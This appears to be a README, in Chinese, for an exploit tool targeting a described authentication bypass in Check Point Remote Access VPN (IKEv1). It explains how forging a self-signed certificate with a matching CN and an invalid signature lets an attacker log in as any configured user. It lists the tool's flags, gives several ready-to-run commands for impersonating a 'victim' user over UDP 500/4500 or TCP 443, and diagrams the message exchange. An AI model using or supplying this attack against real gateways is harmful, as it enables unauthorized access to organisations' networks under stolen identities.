Check Point Remote-Access VPN(IKEv1)中的证书认证绕过。
CVE-2026-50751 是 Check Point iked 守护进程中的一个认证绕过漏洞,存在于未安装 hotfix sk185033 的 R81.10、R82 和 R82.10 版本中。该缺陷允许在无私钥、无密码且无有效证书的情况下,以任意已配置的 Remote Access 用户身份通过认证。
存在漏洞的 iked 会从 Vendor ID VPNExtFeatures(位 0x4)读取一个标志,若该标志被启用,则跳过 verify_peer_auth / verifyMessagePhase1。其后果是:
不验证证书签名(持有证明)。
不验证信任链。
仅检查 subject DN 是否能解析到已配置的用户。
只需伪造一个自签名证书,使其 CN= 与目标用户匹配,并以无效签名发送即可。如果网关接受第 1 阶段,我们便已以该用户身份通过认证(ISAKMP SA 以其 DN 保存)。
它可作用于 IKE(UDP 500/4500)以及 Visitor Mode(TCPT,TCP 443)。
语法
cve-2026-50751 -host <IP|hostname> -user <username> [opciones]
| Flag | 描述 | 默认值 |
|---|
-host | 网关的 IP 或 hostname (必填) | — |
-user | 要冒充的 RA 用户名 (必填) | — |
-port | 端口:500、4500(UDP)或 443(TCPT) | 500 |
-org | ICA 的组织(O=)。若省略,则从 TLS 证书派生 | — |
-ou | 用户的组织单位(OU=) | users |
-timeout | 每次操作的超时时间 | 6s |
-retries | msg1 的重试次数 | 1 |
-v | 详细输出 | false |
sudo ./cve-2026-50751 -host 203.0.113.10 -port 500 -user victim -v
./cve-2026-50751 -host 203.0.113.10 -port 443 -user victim -v
./cve-2026-50751 -host 203.0.113.10 -user victim -org "ACME Corp" -ou vpn -v
sudo ./cve-2026-50751 -host 203.0.113.10 -port 4500 -user victim -v
攻击者 网关(存在漏洞的 iked)
│ │
│─── msg1: SA (RSA-SIG) + VPNExtFeatures VID (位 0x4) ────▶│
│ │ 读取标志 0x4
│ │ 标记 verify_peer_auth = skip
│◀── msg2: SA 已接受 ──────────────────────────────────────│
│ │
│─── msg3: KE (g^xi) + Ni ────────────────────────────────▶│
│◀── msg4: KE (g^xr) + Nr ─────────────────────────────────│
│ │
│ 派生 SKEYID、SKEYID_e、IV │
│ │
│─── msg5(加密):伪造的 ID=DN + 自签名 CERT │
│ + 随机签名 ──────────────────────────▶│
│ │ 跳过签名
│ │ 验证
│ │ 解析 DN → 用户
│◀── msg6(加密):SA 已建立 ──────────────────────────────│
│ │
│ 使用 SKEYID_e 解密 msg6 → 认证证明 │